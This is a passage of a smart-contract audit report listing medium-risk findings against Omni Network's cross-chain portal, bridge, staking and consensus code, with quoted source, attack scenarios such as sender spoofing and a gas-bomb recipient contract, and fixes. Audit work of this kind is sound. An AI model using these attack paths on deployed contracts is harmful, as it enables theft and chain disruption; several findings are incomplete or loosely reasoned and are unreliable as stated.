3.5.48 Anyone can bypass the `CChainSender` restriction to make syscalls and add a validator set

Severity: Medium Risk

Context: *(No context files were provided by the reviewer)*

- Description

In order to add a new validator set we must query: https://github.com/omni-network/omni/blob/a782d51ad534f59ffaa20201f5711ee7ecb47e79/contracts/core/src/xchain/OmniPortal.sol#L357-L363

```
    function addValidatorSet(uint64 valSetId, XTypes.Validator[] calldata validators) external {
        require(msg.sender == address(this), "OmniPortal: only self");
        require(_xmsg.sourceChainId == omniCChainId, "OmniPortal: only cchain");
        require(_xmsg.sender == CChainSender, "OmniPortal: only cchain sender");
        _addValidatorSet(valSetId, validators);
    }
```

Evidently since the msg.sender must be the portal address there is a need for us to call this via a syscall since that is the only instance where we can make a direct call to the contract via some `data`, issue however is that when the current `require(_xmsg.sender == CChainSender)` check can easily be bypassed,

considering nothing stops one from bypassing this by just setting the `CChainSender` as their `_xmsg.sender` when creating the `xmsg` and then submit it via an `xsubmit` call.

- Proof of Concept

The context of creating a message is similar to:

https://github.com/omni-network/omni/blob/a782d51ad534f59ffaa20201f5711ee7ecb47e79/contracts/core/test/templates/OmniPortal.t.sol#L48-L56

```
        msgs[1] = XTypes.Msg({
            destChainId: thisChainId,
            shardId: uint64(ConfLevel.Finalized),
            offset: 2,
            sender: sender,
            to: address(counter),
            data: abi.encodeCall(Counter.increment, ()),
            gasLimit: 100_000
        });
```

So nothing stops one from attaching the `sender` as `CChainSender`, batch a couple other messages and then query xsubmit with it: https://github.com/omni-network/omni/blob/a782d51ad534f59ffaa20201f5711ee7ecb47e79/contracts/core/src/xchain/OmniPortal.sol#L169-L211

```
    function xsubmit(XTypes.Submission calldata xsub)
        external
        whenNotPaused(ActionXSubmit, xsub.blockHeader.sourceChainId)
        nonReentrant
    {
..snip
        // execute xmsgs
        for (uint256 i = 0; i < xmsgs.length; i++) {
            _exec(xheader, xmsgs[i]);//@audit executing the xmsgs here
        }
    }
```

Below we make a syscall in the case where it's a syscall, i.e `to = virtual portal address = address(this)` https://github.com/omni-network/omni/blob/a782d51ad534f59ffaa20201f5711ee7ecb47e79/contracts/core/src/xchain/OmniPortal.sol#L236-L287

```
    function _exec(XTypes.BlockHeader calldata xheader, XTypes.Msg calldata xmsg_) internal {
..snip
        // set _xmsg to the one we're executing, allowing external contracts to query the current xmsg via
↪  xmsg()
        _xmsg = XTypes.MsgContext(sourceChainId, xmsg_.sender);

        (bool success, bytes memory result, uint256 gasUsed) = xmsg_.to == VirtualPortalAddress // calls to
↪  VirtualPortalAddress are syscalls
            ? _syscall(xmsg_.data)
            : _call(xmsg_.to, xmsg_.gasLimit, xmsg_.data);

        // reset xmsg to zero
        delete _xmsg;
        bytes memory errorMsg = success ? bytes("") : result;

        emit XReceipt(sourceChainId, shardId, offset, gasUsed, msg.sender, success, errorMsg);
    }
```

From the below we can see that whereas `call` correctly protects itself against the relayers not providing enough gas the same is not done for syscalls:

https://github.com/omni-network/omni/blob/a782d51ad534f59ffaa20201f5711ee7ecb47e79/contracts/core/src/xchain/OmniPortal.sol#L288-L336

```
function _syscall(bytes calldata data) internal returns (bool, bytes memory, uint256) {
    uint256 gasUsed = gasleft();
    (bool success, bytes memory result) = address(this).call(data);//@audit
    gasUsed = gasUsed - gasleft();

    // if not success, revert with same reason
    if (!success) {
        assembly {
            revert(add(result, 32), mload(result))
        }
    }

    return (success, result, gasUsed);
}
```

- Impact

Access control can be sidestepped and anyone can add new validator sets which then breaks the logic that it's only callable by the Omni consesus chain.

Similar logic seems to be applicable to the network sets too, considering any one can construct their data to have the sender as the CChain Sender and then set the networks of supported chains & shards via https://github.com/omni-network/omni/blob/a782d51ad534f59ffaa20201f5711ee7ecb47e79/contracts/core/src/xchain/OmniPortal.sol#L401-L406

```
function setNetwork(XTypes.Chain[] calldata network_) external {
    require(msg.sender == address(this), "OmniPortal: only self");
    require(_xmsg.sourceChainId == omniCChainId, "OmniPortal: only cchain");
    require(_xmsg.sender == CChainSender, "OmniPortal: only cchain sender");
    _setNetwork(network_);
}
```

And deletes the current supported networks in the internal call to `_clearNetwork()` via `_setNetwork()`

- Recommendation

Correctly validate the `CChainSenders` in the xmsg verification or block these functionalities to the owner instead.

3.5.49 OmniPortal's Confirmation Levels Risks in Duplicate Executions Across Shards and State Inconsistencies Between Chains

Severity: Medium Risk

Context: OmniPortal.sol#L236

- Summary

The OmniPortal contract facilitates cross-chain messaging with two confirmation levels: **Latest** and **Finalized**. While Latest offers quick processing, it is more susceptible to transaction reorganization (reorgs), whereas Finalized provides stronger guarantees by waiting for Ethereum's full beacon chain finality. However, the contract currently allows Finalized blocks to handle Latest messages, risking state inconsistencies between chains. Additionally, sharding can lead to duplicate executions across shards, increasing the potential for issues like double spending. Proposed solutions focus on tracking executed messages and enforcing strict confirmation checks to ensure cross-chain reliability.

- Proof of Concept

The **OmniPortal.sol** contract manages cross-chain messages via two main functions:

1. **xcall**: Initiates cross-chain communication.
2. **xsubmit**: Validates and executes the incoming cross-chain message.

In particular, the `xsubmit` function calls the `_exec` function to execute messages, validating message confirmation levels based on **Latest** and **Finalized** options. **Latest vs. Finalized Confirmation Levels**

Latest Confirmation:

- Messages are processed immediately after an L2 sequencer includes them in a block, with a latency of about 5–10 seconds.
- However, there's a risk: if the L2 sequencer fails or misbehaves, the message could be "reorg'd out."

Finalized Confirmation:

- Messages are delivered after two epochs of Ethereum's beacon chain finality (~12 minutes), making it unlikely for a message to be "reorg'd out" unless Ethereum itself is restructured.

Potential for Cross-Chain State Inconsistencies*

The `_exec` function allows Finalized blocks to handle Latest-level messages, leading to potential inconsistencies. Consider a scenario where:

- A message with **Latest confirmation** is executed on **Chain A**.
- The same message with **Finalized confirmation** is executed on **Chain B**.

This mismatch could lead to a scenario where a user sees a transaction as confirmed on Chain A but pending or unexecuted on Chain B, especially if Chain A undergoes a reorg. This affects the integrity of high-frequency cross-chain transactions.

Example: Double Spending and Chain Reorganization

Let's explore a **double-spending attack** scenario:

- An attacker sends an asset transfer message from Chain A to Chain B with Latest confirmation.
- The attacker reverts the transaction on Chain A by forcing a reorganization, resulting in a double spend if Chain B's state does not update.

Duplicate execution accross shards

Omni uses shards, which maintain independent offsets. In cases where a message meets conditions on two shards, **duplicate execution** might occur, resulting in:

- Unintended transfers,
- Duplicate balances, or
- Diverging states between shards.

Example Workflow in Solidity

Consider the following example:

contracts/core/src/libraries/ConfLevel.sol:l#L12-L20

```
// Confirmation levels
uint8 internal constant Latest = 1;
uint8 internal constant Finalized = 4;
```

contracts/core/src/xchain/OmniPortal.sol:xcall#L31

```
// Problem Scenario:

// Initial state tracking message offsets
mapping(uint64 => mapping(uint64 => uint64)) public inXMsgOffset;

// Initial state
inXMsgOffset[chain1][Latest] = 5;     // Sequence number for the Latest shard
inXMsgOffset[chain1][Finalized] = 3;  // Sequence number for the Finalized shard

// Original cross-chain call
xcall(
    destChainId,
    ConfLevel.Latest,  // Uses Latest confirmation level
    to,
    data,
    gasLimit
);

// An attacker might attempt to submit this message in both shards:
// Submission in the Latest shard
msg1 = {
    sourceChainId: chain1,
    shardId: Latest,     // Latest shard
    offset: 6,           // Correct sequence number
data: originalData
...
};

// Submission in the Finalized shard
msg2 = {
    sourceChainId: chain1,
    shardId: Finalized,  // Finalized shard
    offset: 4,           // Correct sequence number
data: originalData   // Same data
...
};
```


contracts/core/src/xchain/OmniPortal.sol:_exec#L236-L256

```
    function _exec(XTypes.BlockHeader calldata xheader, XTypes.Msg calldata xmsg_) internal {
....
        // Both sequence validations will pass
        require(msg1.offset == inXMsgOffset[chain1][Latest] + 1);     // 6 == 5 + 1
        require(msg2.offset == inXMsgOffset[chain1][Finalized] + 1);  // 4 == 3 + 1

        // Confirmation level validation
        require(
            ConfLevel.Finalized == xheader.confLevel ||
    xheader.confLevel == uint8(shardId),
    'OmniPortal: wrong conf level'
);
        // Finalized blocks can handle any message
        // Latest blocks can only handle Latest messages
....
```

With this setup:

1. **xcall** initiates a cross-chain transfer.
2. The **Latest and Finalized shards** validate and process messages based on `inXMsgOffset` in each shard independently, creating room for duplicate processing if the offset matches on multiple shards.

- Recommendation

1. **Message Execution Tracking**: Track executed messages to avoid double execution.
2. **Confirm Level Validation**: Ensure that messages are processed only by appropriate confirmation levels.
3. **Cross-Shard Consistency Checks**: Implement mechanisms to confirm that a message processed on one shard isn't reprocessed elsewhere.

Here's an example mitigation:

```
+    // Message execution state
+    struct MessageState {
+        bool executed;          // Whether the message has been executed
+        uint8 confLevel;        // Original confirmation level
+        uint256 executedAt;     // Execution timestamp
+        bytes32 executionHash;  // Hash of the execution result
+    }

+    // Tracking message states
+    mapping(bytes32 => MessageState) public messageStates;

    function _exec(XTypes.BlockHeader calldata xheader, XTypes.Msg calldata xmsg_) internal {
+        // 1. Generate a unique identifier for the message
+        bytes32 msgId = keccak256(abi.encode(
+            xmsg_.sourceChainId,
+            xmsg_.sender,
+            xmsg_.nonce,
+            xmsg_.data
+        ));

+        // 2. Check the message state
+        MessageState storage state = messageStates[msgId];
+        require(!state.executed, "Message already executed");

+        // 3. Validate the confirmation level
+    // Ensure confirmation level matches shard requirements
+    require(xheader.confLevel == uint8(shardId),
            'OmniPortal: wrong conf level');
-        require(
-            ConfLevel.Finalized == xheader.confLevel || xheader.confLevel == uint8(shardId),
-            'OmniPortal: wrong conf level'
-        );
```

3.5.50 Use of transfer Instead of safeTransfer

Severity: Medium Risk

Context: *(No context files were provided by the reviewer)*

- Description The withdraw function in contract `OmniBridgeL1.sol` uses the token.transfer function to transfer tokens, which may fail when interacting with certain smart contracts due to gas limitations. The transfer method sends a fixed gas stipend of 2,300 gas, which may be insufficient if the receiving contract requires more gas to execute its fallback function. This issue can lead to failed withdrawals and potentially impact user experience and contract reliability.
- Issue
- Recommendation

3.5.51 Use of Constant Gas Limit in _bridge Function

Severity: Medium Risk

Context: *(No context files were provided by the reviewer)*

- Description In the following contract `OmniBridgeL1.sol` the `_bridge` function uses fixed gas limit for transaction, which is `XCALL_WITHDRAW_GAS_LIMIT = 80_000`. Using a fixed gas limit in cross-chain transactions poses a significant risk as it may not be sufficient under varying conditions. For instance, fluctuations in network conditions, changes in token types, or updates to contract logic could require more gas than the set constant.
- Issue
- Recommendation Implement a dynamic gas limit that adjusts based on the transaction's needs, or make the gas limit a configurable parameter rather than a fixed constant. This allows the contract to allocate an appropriate gas amount per transaction, reducing the chance of failed calls due to insufficient gas.

3.5.52 Use of transfer Instead of call in _burnFee Function

Severity: Medium Risk

Context: *(No context files were provided by the reviewer)*

- Description In the following contract `contracts/core/src/octane/Slashing.sol` the _burnFee function uses transfer to send msg.value to BurnAddr, which can cause issues due to the fixed 2,300 gas stipend that transfer imposes. This limit may be insufficient if BurnAddr is a contract that requires more gas for its execution, leading to failed transactions. This can prevent the function from completing successfully, particularly if the receiving contract has additional logic or requires more gas to execute.
- Recommendation

3.5.53 Malicious Validators are able to reliably reorder transactions to their own benefit

Severity: Medium Risk

Context: *(No context files were provided by the reviewer)*

- Description CometBFT's deterministic round-robin block proposer selection makes it trivial for validators to predict when they will be the next block proposer. This predictability enables malicious validators to prepare transaction manipulation strategies in advance, knowing exactly when they will have the power to execute them.

Unlike Ethereum's native consensus mechanisms which use randomized proposer selection, CometBFT's sequential rotation means a validator knows their next proposal slot with high certainty. This allows them to:

1. Front-run profitable transactions by inserting their own transactions first
2. Censor specific transactions by excluding them from blocks they propose
3. Reorder transactions to maximize MEV extraction
4. Hold back transactions until their proposal slot to gain advantage.

The risk is specifically high knowing that there is a limited number of validators in the network (max 30 as it is the case in the genesis file)

- Impact
- Validators can extract MEV with zero risk since they know exactly when they can manipulate transaction ordering
- No uncertainty in proposer selection removes key economic security assumptions
- Transaction censorship becomes trivially easy for colluding validators
- Fair transaction ordering cannot be guaranteed
- Recommendation This is a problem that inherently the Ethereum Protocol suffers from, it is however less possible in ethereum with the randomization of the proposer selection and the large number of validators.

Ethereum has proposed some solutions like the Proposer-builder separation What we recommend also would be to allow validators to monitor block proposals and allow them to vote on malicious proposers. (this is more alighned with the cosmos design)

3.5.54 A source chain id is never validated and included in the xMsg

Severity: Medium Risk

Context: *(No context files were provided by the reviewer)*

- Summary All source chain id verifications are done based on the xHeader. For example:

```
_xmsg = XTypes.MsgContext(sourceChainId, xmsg_.sender);
```

And:

```
require(xmsg.sourceChainId == l1ChainId, "OmniBridge: not L1");
```

The problem is that when bridging a message, the source chain id is never included in the xMsg event, and furthermore never compared against the xHeader source id.

- Finding Description

There are multiple validations part of the `xSubmit()` and `_exec()` functions which make sure that all parameters from xMsg correspond with the destination / type of message requirements.

The problem is that when the xMsg event is emitted on the source chain, the source chain id is never emitted as part of the message/event, so that it can later be compared to the xHeader source chain id.

This could lead to multiple potential problems with the Halo client potentially including messages from a different source chain in a xBlock in which they shouldn't belong.

There is a potential case of a chain split/fork in which chain A forks into chain A and A', A' between the time where the message event was emitted and the xMsg was included in a xBlock.

- Impact Explanation xMsgs from a different source chain being included in an xBlock in which they don't belong.
- Likelihood Explanation Low - as it requires an eventual bug in a Halo client or a chain fork;
- Recommendation (optional) Include a sourceChainId event element which will be emitted and later compared with the xHeader source chain id.

3.5.55 No registration action done by the "createValidator" func

Severity: Medium Risk

Context: *(No context files were provided by the reviewer)*

- Description In the following contract `staking.sol` the function `createValidator` states to `Create a new validator` using the function but there doesn't seems to have any such action are getting performed.This missing registration step makes the function incomplete, as no actual validator is recorded or recognized by the contract
- Issue The following function only validates if conditions are met using `require` but no such actions are made to create validators

3.5.56 Proposal Transaction Format Vulnerability Allows Unintended Chain Behavior

Severity: Medium Risk

Context: prouter.go#L56

- Description The `ProcessProposal` handler in the Octane chain is responsible for validating the format and content of proposals before they are accepted and executed. The expected proposal format is a single transaction containing two messages: `MsgExecutionPayload` and `MsgAddVotes`

```
Txs = {
    Transaction {
        MsgAddVotes,
        MsgExecutionPayload
    }
}
```

```
func (k *Keeper) PrepareProposal(ctx sdk.Context, req *abci.RequestPrepareProposal) (
    *abci.ResponsePrepareProposal, error,
) {
        ...
    // Combine all the votes messages and the payload message into a single transaction.
    b := k.txConfig.NewTxBuilder()
>>  if err := b.SetMsgs(append(voteMsgs, payloadMsg)...); err != nil {
        return nil, errors.Wrap(err, "set tx builder msgs")
    }

    // Note this transaction is not signed. We need to ensure bypass verification somehow.
    tx, err := k.txConfig.TxEncoder()(b.GetTx())
    if err != nil {
        return nil, errors.Wrap(err, "encode tx builder")
    }

    log.Info(ctx, "Proposing new block",
        "height", req.Height,
        log.Hex7("execution_block_hash", payloadResp.ExecutionPayload.BlockHash[:]),
        "vote_msgs", len(voteMsgs),
        "evm_events", len(evmEvents),
    )

    return &abci.ResponsePrepareProposal{Txs: [][]byte{tx}}, nil
```

However, the current implementation of `makeProcessProposalHandler` does not enforce this specific transaction format. Instead, it only checks that the allowed message types are present, without verifying the overall transaction structure.

```
// makeProcessProposalHandler
for _, rawTX := range req.Txs {
    tx, err := txConfig.TxDecoder()(rawTX)
    if err != nil {
        return rejectProposal(ctx, errors.Wrap(err, "decode transaction"))
    }

    for _, msg := range tx.GetMsgs() {
        typeURL := sdk.MsgTypeURL(msg)
        // Ensure the message type is expected and not included too many times
        // ...
    }
}
```


- Impact This lack of transaction format validation creates two main attack vectors:

1. **Splitting Messages into Multiple Transactions** A malicious proposer can split the `MsgExecutionPayload` and `MsgAddVotes` into separate transactions:

```
Txs = {
    Transaction {
        MsgExecutionPayload
    },
    Transaction {
        MsgAddVotes
    }
}
```

This can lead to inconsistent chain state if one message fails while the other succeeds, as the changes from the successful transaction would still be committed.

2. **Padding with Empty Transactions** A malicious proposer can include multiple empty transactions alongside the valid proposal transaction:

```
Txs = {
    Transaction {
        MsgAddVotes
        MsgExecutionPayload,
    },
    Transaction {},
    Transaction {},
    Transaction {},
    Transaction {},
    ...
}
```

This would force other validators to process the empty transactions during block finalization, causing unnecessary delays in chain processing.

Both of these attack vectors can be used to disrupt the normal operation of the chain, leading to inconsistent state, increased latency, and potential economic losses.

- Recommendation Enforce the expected transaction format in the `makeProcessProposalHandler` function:

```
func makeProcessProposalHandler(router *baseapp.MsgServiceRouter, txConfig client.TxConfig)
↪  sdk.ProcessProposalHandler {
    return func(ctx sdk.Context, req *abci.RequestProcessProposal) (*abci.ResponseProcessProposal, error) {
        // ...

        // Ensure the proposal contains a single transaction with the expected message types
        if len(req.Txs) != 1 {
            return rejectProposal(ctx, errors.New("proposal must contain a single transaction"))
        }

        tx, err := txConfig.TxDecoder()(req.Txs[0])
        if err != nil {
            return rejectProposal(ctx, errors.Wrap(err, "decode transaction"))
        }

        msgs := tx.GetMsgs()
        if len(msgs) != 2 {
            return rejectProposal(ctx, errors.New("transaction must contain two messages"))
        }

        // Existing validation logic follows...
    }
}
```

This change ensures the proposal transaction format is strictly enforced, preventing the identified attack vectors and maintaining the intended transaction structure.

3.5.57 Validator updates through AddValidator set can be DoS'd due to reaching gas limit

Severity: Medium Risk

Context: *(No context files were provided by the reviewer)*

- Summary Validator sets are updated through OmniPortal AddValidatorSet syscalls. Since calls are sequential and ordered, its necessary for call n to succeed before call n+1 can be ran. If any call can't complete, in this case due to gas limits, then all succeeding calls will be permanently DoS'd
- Finding Description Adding a validator set iterates through each validator being added and does checks on them. If there are too many validators then the block will run out of gas and wont be able to be added

```
    function _addValidatorSet(uint64 valSetId, XTypes.Validator[] calldata validators) internal {
        uint256 numVals = validators.length;
        require(numVals > 0, "OmniPortal: no validators");
        require(valSetTotalPower[valSetId] == 0, "OmniPortal: duplicate val set");

        uint64 totalPower;
        XTypes.Validator memory val;
        mapping(address => uint64) storage _valSet = valSet[valSetId];
@>      for (uint256 i = 0; i < numVals; i++) {
            //...
```

The sequential aspect of calls will require each call to succeed or else subsequent calls will not be able to work either due to the following check in exec:

```
        require(offset == inXMsgOffset[sourceChainId][shardId] + 1, "OmniPortal: wrong offset");
```

- Impact Explanation High since all validator set changes and chain updates through the OmniPortal will be DoS'd
- Likelihood Explanation Low since In the current protocol state only whitelisted validators are allowed so it will never reach this. However this issue will become more prevalent when staking becomes permissionless

3.5.58 `FinalizeBlock` is non-deterministic; will lead to consensus failures

Severity: Medium Risk

Context: *(No context files were provided by the reviewer)*

- Summary

CometBFT requires the implementation of `FinalizeBlock` to be deterministic: this call is done when the block is decided upon, and its transactions have to be applied *deterministically* in the context of state machine replication. Despite that, Omni's implementation of `FinalizeBlock` includes the call to `PostFinalize` callback, which starts the optimistic build, and, under the hood, queries `cmtAPI`'s `Validators` function. *The latter is inherently non-deterministic*: it queries validators via an RPC client, and even its description says that it may fail *"due to snapshot sync after height"*. `PostFinalize` *does not* handle these errors gracefully: they are propagated back to Cosmos SDK, and then to CometBFT, which will lead to consensus failure and to this node being halted. When enough validators halt due to this bug, it will lead to the overall Omni chain halt.

- Finding Description

CometBFT docs for `FinalizeBlock` explicitly state:

> The implementation of `FinalizeBlock` MUST be deterministic, since it is making the Application's state evolve in the context of state machine replication.

If we take a look at Omni's implementation of `FinalizeBlock` we see the following:

- FinalizeBlock calls `PostFinalize` callback:

```
sdkCtx := sdk.NewContext(l.multiStoreProvider(), header, false, nil)
if err := l.postFinalize(sdkCtx); err != nil {
    log.Error(ctx, "PostFinalize callback failed [BUG]", err)
    return resp, err
}
```

- PostFinalize performs an optimistic build; in case it fails, it returns `nil`, i.e. correctly ignores errors. But before doing optimistic build, it tries to determine whether this node is the next validator, while *propagating errors upstream*:

```
// Maybe start building the next block if we are the next proposer.
isNext, err := k.isNextProposer(ctx, proposer, height)
if err != nil {
    return errors.Wrap(err, "next proposer")
} else if !isNext {
    return nil // Nothing to do if we are not next proposer.
}
```

- isNextProposer invokes `cmtAPI` to determine the validators, also *propagating errors upstream*:

```
valset, ok, err := k.cmtAPI.Validators(ctx, currentHeight)
if err != nil {
    return false, err
} else if !ok || len(valset.Validators) == 0 {
    return false, errors.New("validators not available")
}

idx, _ := valset.GetByAddress(currentProposer)
if idx < 0 {
    return false, errors.New("proposer not in validator set")
}
```

- cmtAPI::Validators, in turn queries the RPC client to retrieve the validators, which may fail non-deterministically, also *propagating errors upstream*:

```
// Validators returns the cometBFT validators at the given height or false if not
// available (probably due to snapshot sync after height).
func (a adapter) Validators(ctx context.Context, height int64) (*cmttypes.ValidatorSet, bool, error) {
    ctx, span := tracer.Start(ctx, "comet/validators", trace.WithAttributes(attribute.Int64("height",
↪  height)))
    defer span.End()

    perPage := perPageConst // Can't take a pointer to a const directly.

    var vals []*cmttypes.Validator
    for page := 1; ; page++ { // Pages are 1-indexed.
        if page > 10 { // Sanity check.
            return nil, false, errors.New("too many validators [BUG]")
        }

        status, err := a.cl.Status(ctx)
        if err != nil {
            return nil, false, errors.Wrap(err, "fetch status")
        } else if height < status.SyncInfo.EarliestBlockHeight {
            // This can happen if height is before snapshot restore.
            return nil, false, nil
        }

        valResp, err := a.cl.Validators(ctx, &height, &page, &perPage)
        if err != nil {
            return nil, false, errors.Wrap(err, "fetch validators")
        }
    ...
}
```

Notice in particular that `isNextProposer` returns an error upstream not only when it receives an error from `cmtAPI.Validators`, but also when it receives `false, nil`, which happens if the height is before snapshot restore.

Taken all of the above together we see that **non-deterministic errors from optimistic build preparation are propagated upstream in** `FinalizeBlock`, making this function non-deterministic, which will result in consensus failures at the level of CometBFT.

- Impact & Likelihood Explanation
- Impact is **High** because this bug leads to validators being halted one by one, and eventually to the overall Omni chain halt.
- Likelihood is **High** because this bug occurs naturally, e.g. when validators are not available due to the ongoing snapshot sync.

Taken together, this is a **High severity** vulnerability, which *"leads to a catastrophic scenario that can be triggered by anyone or occur naturally"* (quoting from Cantina docs).

- Recommendation

During execution of `FinalizeBlock`, ignore any errors resulting from optimistic build or its preparation; they should not be propagated upstream to Cosmos SDK and CometBFT.

3.5.59 The omni bridge can be attacked by reverting all withdraw/claim transactions through a gas bomb attack

Severity: Medium Risk

Context: *(No context files were provided by the reviewer)*

- Description

In the OmniBridgeNative.sol, `withdraw()` is called through xcall from the Omni portal, which does a low level call to the recipient.

The Omni portal tracks all `inXMsgOffset` count. This means that ideally, all `xcall` should not revert at all.

In the withdraw function, if success fails, `claimable[payor] += amount` instead of reverting.

However, the `recipient` can revert the low level call through a gas bomb attack, so success will not return true or false, but instead the whole function will revert, which will waste gas for the `xcall` caller.

Also, since OmniPortal uses sequential messaging, when one message is not sent properly, all of the messages will be affected.

```
        require(destChainId == chainId() || destChainId == BroadcastChainId, "OmniPortal: wrong dest chain");
>       require(offset == inXMsgOffset[sourceChainId][shardId] + 1, "OmniPortal: wrong offset");
```

- Proof of Concept

`OmniBridgeNative.withdraw()` does a low level call to the recipient and allows success to return false:

```
function withdraw(address payor, address to, uint256 amount, uint256 l1Balance)
        external
        whenNotPaused(ACTION_WITHDRAW)
    {
        XTypes.MsgContext memory xmsg = omni.xmsg();

        require(msg.sender == address(omni), "OmniBridge: not xcall"); // this protects against reentrancy
        require(xmsg.sender == l1Bridge, "OmniBridge: not bridge");
        require(xmsg.sourceChainId == l1ChainId, "OmniBridge: not L1");

        l1BridgeBalance = l1Balance;

>       (bool success,) = to.call{ value: amount }("");

        if (!success) claimable[payor] += amount;
```

The OmniPortal contract follows sequential messaging through `inXMsgOffset[sourceChainId][shardId] += 1;`

The malicious recipient contract:

```
contract MaliciousRecipient {
    function alwaysRevert() external  {
        while (true) {}
    }
}
```

`withdraw()` or `claim()` will not succeed and the Omni contracts will keep retrying to claim until it realizes that it is a malicious recipient, which will waste its gas.

- Recommendation

Don't do a low-level call when transferring to an unknown recipient. Instead, track the amount that the recipient has and let them withdraw on their own from the omni bridge contract.

3.5.60 Refunds not processed in various functions

Severity: Medium Risk

Context: *(No context files were provided by the reviewer)*

- Description

In various contracts, excess msg.value sent by the caller is not refunded back and are stuck in the contract.

In Staking.sol's `createValidator` and `delegate` functions, we can see that the functions allow sending excess tokens.

```
    function createValidator(bytes calldata pubkey) external payable {
        require(!isAllowlistEnabled || isAllowedValidator[msg.sender], "Staking: not allowed");
        require(pubkey.length == 33, "Staking: invalid pubkey length");
>>      require(msg.value >= MinDeposit, "Staking: insufficient deposit");

        emit CreateValidator(msg.sender, pubkey, msg.value);
    }
```

```
    function delegate(address validator) external payable {
        require(!isAllowlistEnabled || isAllowedValidator[validator], "Staking: not allowed val");
>>      require(msg.value >= MinDelegation, "Staking: insufficient deposit");

        // only support self delegation for now
        require(msg.sender == validator, "Staking: only self delegation");

        emit Delegate(msg.sender, validator, msg.value);
    }
```

In OmniBridgeL1.sol, `bridge` function ensures that msg.value sent is >= the fee. However, here, msg.value is sent on `xcall` rather than needed fee. Any excess tokens are not refunded to msg.sender.

```
    function _bridge(address payor, address to, uint256 amount) internal {
        require(amount > 0, "OmniBridge: amount must be > 0");
        require(to != address(0), "OmniBridge: no bridge to zero");

        uint64 omniChainId = omni.omniChainId();
        bytes memory xcalldata =
            abi.encodeCall(OmniBridgeNative.withdraw, (payor, to, amount, token.balanceOf(address(this)) +
↪   amount));

        require(
>>          msg.value >= omni.feeFor(omniChainId, xcalldata, XCALL_WITHDRAW_GAS_LIMIT), "OmniBridge:
↪   insufficient fee"
        );
        require(token.transferFrom(payor, address(this), amount), "OmniBridge: transfer failed");

>>      omni.xcall{ value: msg.value }(
            omniChainId, ConfLevel.Finalized, Predeploys.OmniBridgeNative, xcalldata, XCALL_WITHDRAW_GAS_LIMIT
        );

        emit Bridge(payor, to, amount);
    }
```

In OmniBridgeNative.sol, the same can be observed, in which `msg.value - amount` is sent rather than `bridgeFee`. Any excess tokens are not refunded to msg.sender.

```
    function _bridge(address to, uint256 amount) internal {
        require(to != address(0), "OmniBridge: no bridge to zero");
        require(amount > 0, "OmniBridge: amount must be > 0");
        require(amount <= l1BridgeBalance, "OmniBridge: no liquidity");
>>      require(msg.value >= amount + bridgeFee(to, amount), "OmniBridge: insufficient funds");

        l1BridgeBalance -= amount;

        // if fee is overpaid, forward excess to portal.
        // balance of this contract should continue to reflect funds bridged to L1.
>>      omni.xcall{ value: msg.value - amount }(
            l1ChainId,
            ConfLevel.Finalized,
            l1Bridge,
            abi.encodeCall(OmniBridgeL1.withdraw, (to, amount)),
            XCALL_WITHDRAW_GAS_LIMIT
        );

        emit Bridge(msg.sender, to, amount);
    }
```

In `xcall` the same can be observed, in which msg.value can be greater than the fee, but there's no refund processed to the caller.

```
    function xcall(uint64 destChainId, uint8 conf, address to, bytes calldata data, uint64 gasLimit)
        external
        payable
        whenNotPaused(ActionXCall, destChainId)
    {
        require(isSupportedDest[destChainId], "OmniPortal: unsupported dest");
        require(to != VirtualPortalAddress, "OmniPortal: no portal xcall");
        require(gasLimit <= xmsgMaxGasLimit, "OmniPortal: gasLimit too high");
        require(gasLimit >= xmsgMinGasLimit, "OmniPortal: gasLimit too low");
        require(data.length <= xmsgMaxDataSize, "OmniPortal: data too large");

        // conf level will always be last byte of shardId. for now, shardId is just conf level
        uint64 shardId = uint64(conf);
        require(isSupportedShard[shardId], "OmniPortal: unsupported shard");

>>      uint256 fee = feeFor(destChainId, data, gasLimit);
>>      require(msg.value >= fee, "OmniPortal: insufficient fee");

        outXMsgOffset[destChainId][shardId] += 1;

        emit XMsg(destChainId, shardId, outXMsgOffset[destChainId][shardId], msg.sender, to, data, gasLimit,
↪   fee);
    }
```

- Recommendation

Refund excess tokens to msg.sender.

3.5.61 Malicious outperforming validators can limit legitimate vote extensions

Severity: Medium Risk

Context: *(No context files were provided by the reviewer)*

- Description

The vote extension system works in a way that only the 2/3 most rapid ExtendVotes will be included inside the block. If malicious validators that would be outperforming legitimate validators would send their vote extension (with no votes for example), they would take the place of legitimate validators and prevent some of them from including their own legitimate extend votes.

This is well explained in the CometBFT documentation about `ExtendVote`:

- Impact

Legitimate validators would struggle to include their extend vote and therefore vote for any messages, which would slow down the whole messages approval system.

3.5.62 `gasPerPubdataByte` parameter was not accounted for, cross-chain calls to ZKSync chain

Severity: Medium Risk

Context: *(No context files were provided by the reviewer)*

- Summary Due to the fact that `gasPerPubdataByte` parameter was not accounted for, cross-chain calls to ZKSync chain might fail silently.
- Finding Description

https://docs.zksync.io/build/developer-reference/best-practices#gasperpubdatabyte-should-be-taken-into-account-in-development

Due to the state diff-based fee model of ZKsync Era, every transaction should include a constant called gasPerPubdataByte.

- Impact Explanation

If `gasPerPubdataByte` is manipulated to its upper bound, the cost per transaction can escalate, impacting user experience and contract efficiency.

- Likelihood Explanation

Currently, the likelihood of this issue occurring is **low** due to the honest behavior of operators.

- Proof of Concept (if required)

```
    function _call(address to, uint256 gasLimit, bytes calldata data) internal returns (bool, bytes memory,
↪   uint256) {
        uint256 gasLeftBefore = gasleft();

        // use excessivelySafeCall for external calls to prevent large return bytes mem copy
        (bool success, bytes memory result) =
            to.excessivelySafeCall({ _gas: gasLimit, _value: 0, _maxCopy: xreceiptMaxErrorSize, _calldata:
↪   data });

        uint256 gasLeftAfter = gasleft();

        // Ensure relayer sent enough gas for the call
        // See https://github.com/OpenZeppelin/openzeppelin-contracts/blob/bd325d56b4c62c9c5c1aff048c37c6bb18a
↪   c0290/contracts/metatx/MinimalForwarder.sol#L58-L68

         if (gasLeftAfter <= gasLimit / 63) {
            // We use invalid opcode to consume all gas and bubble-up the effects, to emulate an "OutOfGas"
↪   exception
            assembly {
                invalid()
            }
        }

        return (success, result, gasLeftBefore - gasLeftAfter);
    }
```

In this scenario, a transaction initiated when `gasPerPubdataByte` is high would consume more gas, increasing user costs without justification.

- Recommendation

To mitigate this issue, modify the contract to include `gasPerPubdataByte` in transaction validation for ZKSync cross-chain interactions.

3.5.63 Crafting the correct payload in `OmniPortal#xcall` could be used to bridge tokens

Severity: Medium Risk

Context: *(No context files were provided by the reviewer)*

- Description Here's the code for `xcall`:

```
    /**
     * @notice Call a contract on another chain.
     * @param destChainId   Destination chain ID
     * @param conf          Confirmation level
